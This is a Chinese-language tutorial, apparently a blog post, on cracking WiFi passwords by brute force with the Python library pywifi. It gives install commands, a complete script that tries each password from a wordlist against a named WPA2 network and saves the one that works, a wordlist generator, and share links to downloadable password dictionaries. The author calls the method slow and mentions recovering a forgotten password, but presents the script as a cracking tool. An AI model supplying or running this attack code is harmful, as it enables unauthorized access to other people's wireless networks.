pywifi只能用来练手,因为其破解速度太慢,实际使用价值不大。
pywifi是一个专门用来破解wifi密码的第三方库,可以在PyPI上面直接搜到 pywifi网页链接
从网页上也可以看到,pywifi的安装非常简单。我使用的python是3.7.1,通过:
pip install pywifi
就可以装上去。
但是,仅仅装上pywifi,这个库还是不能用,还得再装一个叫 comtypes库
pip install comtypes
然后就一切正常了。
pywifi破解密码是一种暴力破解的方式,原理就是操纵网卡,一个一个的试密码本上的密码,直到密码正确,这时电脑也会连上这个wifi。
import pywifi
from pywifi import const # 引入一个常量
import time
def wifiConnect(wifiname,wifipassword):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()# 断开连接
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()# 创建WiFi连接文件
profile.ssid = wifiname# WiFi的ssid,即wifi的名称
profile.key = wifipassword# WiFi密码
profile.akm.append(const.AKM_TYPE_WPA2PSK)# WiFi的加密类型,现在一般的wifi都是wpa2psk
profile.auth = const.AUTH_ALG_OPEN # 开放网卡
profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元
ifaces.remove_all_network_profiles()# 删除所有的WiFi文件
tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件
ifaces.connect(tep_profile) # 连接WiFi
time.sleep(1.5)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def main():
print('开始破解:')
file = open('D:/wifikey/wifikey.txt','r')#打开密码本
wifi_name=input('请输入所要破解的wifi的名字(请务必注意大小写):')
while True:
wifipwd = file.readline()
try:
bool = wifiConnect(wifi_name,wifipwd)
if bool:
print('正确密码为:'+wifipwd)
fo=open('D:/wifikey/%s.txt'%wifi_name,'w')
fo.write('该wifi的密码为:')
fo.write(wifipwd)
fo.close()
break
else:
print('本次尝试的密码为:%s,状态:密码错误'%wifipwd)
except:
continue
file.close()
if __name__=='__main__':
main()
脚本就是对密码本中的密码,一个一个的尝试,如果密码正确,那么就建一个名字为wifi名字的文件,并把正确的密码记录在里面。
密码本的获取:
密码本可以选择自己建。使用的是itertools这个包。
import itertools as its
words_num = "1234567890"
words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words_num, repeat=8)#以建8位纯数字密码本为例:
fo = open("8位密码本.txt", "w")
for i in r:
fo.write("".join(i))
fo.write("".join("\n"))
fo.close()
建密码本非常费时间,也可以直接下载已经建好的密码本
这是我从别处找到的超级密码本
里面有各种最常用密码,号称破解几率为40%:
链接: https://pan.baidu.com/s/1W1R-PtbbxdzFrSiL4XNsPw 提取码: vm9b
以及所有可能的密码构成的超级密码本:
链接: https://pan.baidu.com/s/1W0oX_O8zNZP6w4R3gPRHIA 提取码: 4mc6
wifi的密码长度为8到16位,记得先把里面长度不符合要求的密码先过滤掉。
从脚本来看,尝试一个密码就需要2s,即便是把8位纯数字的密码尝试一遍,那么需要的时间t为:
t
=
1
0
8
∗
2
/
(
60
∗
60
∗
24
)
=
2314.8
天
t= 10^{8}*2/(60*60*24)=2314.8 天
t=108∗2/(60∗60∗24)=2314.8天
这还只是8位的纯数字密码。
所以,想要通过pywifi破解密码根本就不可能。当然,可以通过多线程之类的缩短时间。
但是,如果你不幸忘记了某个wifi的密码,但是你知道他有可能是几个或者几十个密码中的一个,那么就可以通过脚本来把密码找出来。
(其实吧,直接把wifi reset或许更快。。)
真的想破解wifi密码,还是装虚拟机靠谱。